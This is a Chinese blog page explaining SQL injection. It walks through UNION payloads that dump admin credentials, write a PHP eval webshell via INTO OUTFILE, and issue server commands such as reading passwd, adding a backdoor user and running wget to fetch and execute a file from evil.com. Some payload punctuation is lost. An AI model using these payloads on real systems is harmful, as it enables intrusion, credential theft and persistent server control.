当前位置: 首页 > article >正文

SQL注入 基于报错的回显分析

在URL中修改对应的ID值数值型字符型等等字符型修改id值为1’查看报错回显如图1没有被执行字符错误则对应的SQL语句为select * from User where id$id limit 0,1数值型这次发现1被接收了而’还是不行则SQL为select * from User where id$id limit 0,11order by按照第几列排序来探测表有多宽。select * from User where id1’ order by 4,发现有3列2select * from User where id0’ union 1,version(),database() --(id可查到话会掩盖union的查询内容)3获取表名select * from User where id0’ union 1,version(),database() --4获取列名5 一句话木马一句话木马是一种极简的恶意脚本通常只有一行代码攻击者将其上传到服务器后可以通过该脚本远程执行任意命令从而控制服务器。在 SQL 注入场景中攻击者利用数据库的文件写入功能将一句话木马写入 Web 目录下的文件中进而获得网站的后门。一句话木马示例PHP?php eval($_POST[cmd]); ?该脚本接收 HTTP POST 请求中cmd参数的值并用eval()执行。攻击者只要向该文件发送包含cmdphpinfo();的 POST 数据就能执行任意 PHP 代码。所需前提条件MySQL 配置secure_file_priv不能限制写入目录为空或指定了 Web 目录且数据库用户具有FILE权限。知道 Web 绝对路径例如通过报错信息、phpinfo 或常见路径猜测。目录可写Web 目录需有写权限如www-data用户可写。注入点支持多语句或 UNION通常需要注入点能执行多条语句或 UNION 注入允许写入。我们用一个小型网站的实际例子从头到尾演示一遍这个过程你就会明白它的危害有多大了。场景设定假设有一个小型电影网站它的数据库里有一张叫movies的表。网站的详情页网址是www.dianying.com/detail.php?id1这个detail.php页面是这样从数据库查询电影信息的// 有漏洞的代码直接拼接用户输入的id$id $_GET[id];$sql SELECT title, description FROM movies WHERE id $id;// ...执行查询并显示结果第一步常规注入窃取数据攻击者访问www.dianying.com/detail.php?id-1 union select 1,2发现页面显示了1和2。接着他想看看数据库里有什么表www.dianying.com/detail.php?id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()页面返回了movies,users,admins。攻击者发现了users表于是查询其中的字段www.dianying.com/detail.php?id-1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers页面返回了id,username,password,email。最后他窃取管理员账号密码www.dianying.com/detail.php?id-1 union select 1,group_concat(username,:,password) from users假设页面返回admin:5f4dcc3b5aa765d61d8327deb882cf99这是password的MD5值。攻击者破解这个MD5拿到明文密码password。至此他已经可以登录网站后台了。但这还只是在偷东西。第二步写入木马夺取控制权攻击者不满足于此他想长期控制这台服务器。他通过之前的步骤已经探测到数据库用户有FILE权限通过特定注入语句判断。网站绝对路径是/var/www/html/可能是通过报错信息泄露的。MySQL的secure_file_priv配置允许导出文件到Web目录。于是他构造了最后的攻击请求www.dianying.com/detail.php?id-1 union select 1,?php eval($_POST[cmd]); ? into outfile /var/www/html/shell.php这条语句的作用是将?php eval($_POST[cmd]); ?这行代码写入到网站的根目录下并命名为shell.php。执行成功后攻击者访问www.dianying.com/shell.php。页面是空白的但这恰恰说明文件存在且没有报错。第三步通过木马实施破坏现在攻击者就可以使用任何支持POST请求的工具比如浏览器插件或专门的菜刀、蚁剑这类webshell管理工具向http://www.dianying.com/shell.php发送POST数据数据内容是cmdsystem(ls /etc/passwd);。实际发生了什么你的请求发送到shell.php。shell.php里的代码eval($_POST[cmd]);被执行相当于PHP执行了system(ls /etc/passwd);这条命令。服务器上的/etc/passwd文件内容就被读取并返回显示出来。攻击者现在能做什么拥有了在服务器上执行系统命令的能力后他可以查看服务器上的任意文件cmdsystem(cat /var/www/html/config.php);—— 读取数据库配置文件获取真正的数据库密码。篡改网站页面cmdsystem(echo Hacked by ... /var/www/html/index.html);—— 让所有访问网站首页的人看到攻击者留下的信息。添加系统后门用户cmdsystem(useradd -p $(openssl passwd -1 newpassword) hacker);—— 给自己创建一个服务器登录账号。下载并运行恶意程序cmdsystem(wget http://evil.com/virus -O /tmp/virus chmod x /tmp/virus /tmp/virus);—— 下载病毒或挖矿程序并执行把服务器变成肉鸡为其挖掘数字货币。攻击内网其他机器以这台服务器为跳板扫描和攻击同一内网的其他服务器。为什么说危害巨大从上面的过程可以看出危害的升级路径非常清晰信息泄露一开始只是泄露了数据库里的一些数据。权限提升通过写入一句话木马攻击者的能力从数据库操作升级到了服务器系统命令执行。失去控制攻击者不再依赖于有漏洞的网站页面他拥有了一个自己的后门(shell.php)。即使管理员修复了那个SQL注入漏洞只要没发现并删除这个木马文件攻击者依然可以随时通过它进入服务器。简单来说SQL注入是打开了门锁而一句话木马相当于在房子里给自己留了一把备用钥匙。即使主人换了门锁修复漏洞攻击者依然可以用备用钥匙木马文件自由进出这才是最可怕的地方。本回答由 AI 生成内容仅供参考请仔细甄别。

相关文章:

SQL注入 基于报错的回显分析

在URL中修改对应的ID值,数值型,字符型等等字符型:修改id值为1’,查看报错回显如图,1没有被执行,字符错误,则对应的SQL语句为:select * from User where id"$id" limit 0,1…...

angular问题及解决

1.问题: 列表点击进入一个详情页面,div的显示隐藏控制的,此详情页面有附件列表,当点第一个的时候正常显示的附件,当点第二个的时候,接口返回的是正确的,但是页面还是显示的第一个 考虑得需要强制…...

论文全流程规范化指南:从选题到定稿的学术逻辑拆解

在学术深造的道路上,论文写作是无法绕开的核心关卡。无论是本科毕业论文、硕士学位论文,还是博士阶段的期刊小论文,其本质都是一项严谨的学术研究。许多同学并非学术能力不足,而是缺乏对论文写作规范与逻辑的系统性认知。本文将从…...

DnsJumper:网页加速神器

软件获取地址 网络故障修复工具合集 有时候,你网络测速速度并不低,但打开网页加载却慢如蜗牛,这是由于你DNS解析过慢导致,今天给大家带来一款DNS切换神器DnsJumper,内置几十个最快的DNS,可以一键应用。 软…...

IAR扩展嵌入式开发平台,推出面向安全关键型应用的长期支持(LTS)服务

IAR今日宣布,对其嵌入式开发平台进行扩展,推出全新长期支持(Long-Term Support,LTS)服务,旨在帮助客户在漫长的产品生命周期中,维持稳定、可复现的工具链。 在汽车、工业自动化、医疗等安全关键…...

收藏!90天打造你的AI同事:从0到1落地AI Agent实战清单

把 AI 变成“同事”,不是插件:一份可落地的 AI Agent 路线图 从工厂车间的智能排产,到办公室里能自主决策的智能体,越来越多企业正在经历一场跃迁:从“数字化”进阶到“智能化”。但现实也很一致: 投入不小&#xff0c…...

高效集成的DCIM管理系统引领数据中心智能化管理革命

高效集成的DCIM管理系统正在重新定义数据中心的管理方式。通过优化各项资源配置,该系统可以有效整合不同管理模块,实现信息的实时传递和处理。这不仅提高了数据中心的整体运行效率,还大幅提升了安全性。系统内置环境监控功能,能够…...

【回溯算法——N皇后】

本次复习的是回溯算法中的一道经典问题——N皇后问题,对应leetcode 51.N皇后 内容来源于代码随想录 题目描述 按照国际象棋的规则,皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。 n 皇后问题 研究的是如何将 n 个皇后放置在 nn 的棋盘上&…...

Python面向对象编程(OOP)详解:类、对象、继承、多态、封装

面向对象编程(Object-Oriented Programming,简称OOP)是一种主流的编程范式,核心思想是“以对象为中心”,将数据(属性)和操作数据的方法(行为)封装在一起,通过…...

灵机一物AI智能电商小程序(已上线)-从“帮我买抽纸”到自动下单支付——大模型驱动全链路自动购物系统实战

作者:vx:Maris5188摘要:传统电商购物需要用户手动搜索、对比、选规格、下单、支付,操作路径长、决策成本高。本文基于大模型LangGraph状态机Chainlit任务编排,实现一套从自然语言指令到支付完成的端到端自动购物系统。用户只需一句…...

CoMAM:让多智能体记忆系统学会“团队协作“的强化学习框架

图解CoMAM:让多智能体记忆系统学会"团队协作"的强化学习框架 开篇导读 你有没有想过,为什么和AI对话久了,它还是记不住你的偏好?上下文窗口限制是根本原因——LLM只能看到有限的历史对话。为了解决这个问题,…...

2026最新版 Android Studio 安装与配置全教程(保姆级)

哈喽各位小伙伴~ 想要入门Android开发,第一步就是把开发环境搭好。今天这篇博客,我会带你从零开始安装Android Studio,覆盖下载、安装、SDK配置、模拟器、环境变量、新建项目全流程,新手也能一次成功,少走弯…...

jdbc通信原理

一、普通查询(默认行为) 正确流程 JDBC客户端通过Socket与MySQL服务器建立TCP连接。客户端发送SQL查询语句。MySQL服务器执行查询,将结果集数据从存储引擎读出,放入服务器内核的发送缓冲区(位于操作系统内核空间&#…...

从零构建RAG系统:小白程序员必备的全局观与收藏指南

本文旨在帮助读者建立RAG系统的全局观,从离线解析、Query理解、在线召回到上下文生成,详细阐述了四大模块及其间的六个关键联动点,如Chunk大小与LLM窗口的配合、Query解析结果对检索策略的指导等。文章强调模块间的相互影响,并通过…...

量化开发实战手册·第2篇:数据源选型五大维度——像评估股票一样科学评估你的行情接口

这是《量化开发实战手册》系列的第二篇文章。在第一篇里,我帮你梳理了主流数据源的优缺点和适用场景。但很多读者问:到底怎么科学地评估一个行情接口?看官网介绍都挺好,一用就踩坑。今天,我从产品体验官的视角&#xf…...

Python 免费开源库精选:那些“不要钱”却“值千金”的神器

⚠️ 再次长文预警!前方是“免费开源”的宝藏海洋!⚠️📢 写在前面(老规矩): 嘿,朋友!既然你看到了这里,说明你对 Python 的**“免费午餐”很感兴趣!&#x1…...

从零开始复现 ThinkPHP RCE:Docker + Burp Suite 实战

目录 1. 漏洞概述 2. 环境搭建 2.1 安装 Docker 与 Docker Compose 2.2 部署 Vulhub 靶场 2.3 启动环境 3. 漏洞验证 3.1 浏览器直接验证 3.2 Burp Suite 抓包改包验证 4. 深入利用——获取 Webshell 4.1 写入一句话木马 4.2 使用蚁剑连接 5. 漏洞原理简析 6. 修复…...

RK3568之pinctrl子系统和GPIO子系统

第1章 两个子系统的区别与联系1.1 pinctrl子系统主要功能:引脚复用(pin multiplexing)和引脚配置(pin configuration)。引脚复用:一个物理引脚可能有多个功能,例如可以是GPIO、串口TX、I2C SCL等…...

2026京东校招全攻略:笔试面试、高频题、看这一篇就够了

2026京东校招全攻略:笔试面试、高频题、看这一篇就够了 数据来源:真实面经整理 京东校招公开信息交叉校验 | 更新时间:2026年3月 校招大礼包获取 获取方法 京东后端面试里,一个很有代表性的问题是: Redis 分布式锁&a…...

IDM抓取网页动态资源:从嗅探原理到实战捕获全攻略

# IDM抓取网页动态资源:从嗅探原理到实战捕获全攻略## 引言在当今Web 2.0时代,绝大多数网站采用AJAX、动态加载、流媒体等技术呈现内容。传统的“右键另存为”已无法捕获这些**动态资源**——视频被切分为ts片段、图片通过XHR接口加载、数据以JSON格式传…...

网工必看!一文搞定华为高可用组网实战:VRRP + BFD + NQA 联动深度解析

摘要:本文以一个企业园区网综合实验为核心,完整呈现从拓扑规划到逐条命令配置的全过程。实验涵盖 VRRP 双网关冗余、BFD 快速故障检测、NQA 链路质量探测、静态路由与浮动路由等多项企业级高可用技术。文章详细讲解每一条命令的含义与作用,适合备考 HCIA/HCIP 的同学、网络运…...

ESP32硬件检测程序

ESP32硬件检测程序 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文…...

走出文安婚介所的计算与失落:在那次免费的重逢里,我读懂了平凡生活的底层逻辑

我叫陆远,是一名长期伏案、与各种底层代码和复杂算法打交道的软件开发工程师。三十岁之前,我的生活一直是以一种近乎线性的逻辑在运行:在上海的一家互联网大厂卷了六年,攒下了一些存款,也透支了大部分的睡眠。两年前&a…...

把AI装进微信?OpenClaw实现多平台AI助手实战

把AI装进微信?OpenClaw实现多平台AI助手实战 前言 你是否曾想过:在微信上直接和AI对话,让它帮你写代码、解答问题、甚至管理日程?之前这种需求只能通过各种不稳定的第三方机器人实现,直到我发现了OpenClaw——一个开…...

SolidWorks 拉伸凸台 - 命令属性 - 薄壁特征

示例 6-8-2、拉伸切除 - 薄壁特征开放草图新建一个文件;前视基准面;画一个开放的草图;给这个轮廓,使用 拉伸凸台命令,它也会拉伸;默认会开启薄壁特征;单向,10mm,意思是将…...

基于五类数据集的Faster RCNN目标检测算法在缺陷检测中的应用:共计1800张VOC格式...

基于FasterRCNN目标检测的缺陷检测算法 数据集包含五类别(具体如图所示) 共计1800张图 包含VOC格式数据集Faster RCNN模型最近在搞工业质检项目,发现Faster R-CNN在缺陷检测上还挺能打。手头有个五类缺陷的数据集(划痕、气泡、氧化…...

2026年沈阳路灯厂TOP10榜单揭晓,哪家实力最强?

大家好,今天给大家带来一个热门话题:2026年沈阳路灯厂TOP10榜单揭晓!哪家实力最强?让我们一起来看看吧!榜单揭晓1. 沈阳晟光户外照明设施销售有限公司(简称:晟光路灯)2. 飞利浦照明3…...

人工智能代理AI Agent如何自动化CRM、Jira、计费和Slack之间的工作流程

当单一业务流程跨越多个系统时 在泰山老父公司中,工作流程早已超越单一系统。销售在CRM中进行,开发在Jira中,财务在计费系统中,日常沟通则在Slack中完成。这些平台各有其用途,且在独立时运行得相当有效。 当单个业务…...

【前端】最好用的本地组件库调试工具 yalc

在开发和编写多个软件包(私有或公共)时,您经常需要在本地环境中的其他项目中使用最新/正在开发的版本,而无需将这些软件包发布到远程注册表。NPM和 Yarn 通过类似的符号链接包方法来解决这个问题。虽然这种方法在很多情况下都有效…...

目标函数(含罚函数处理)

蜣螂优化(DBO)算法 工程实际,求目标函数最小值,图中所求例子为一个压力容器设计成本最小,为4变量,4个不等式约束。 采用罚函数将4约束问题转变为无约束问题。 代码注释完整,非常容易带入自己想要求的问题。深夜撸代码发…...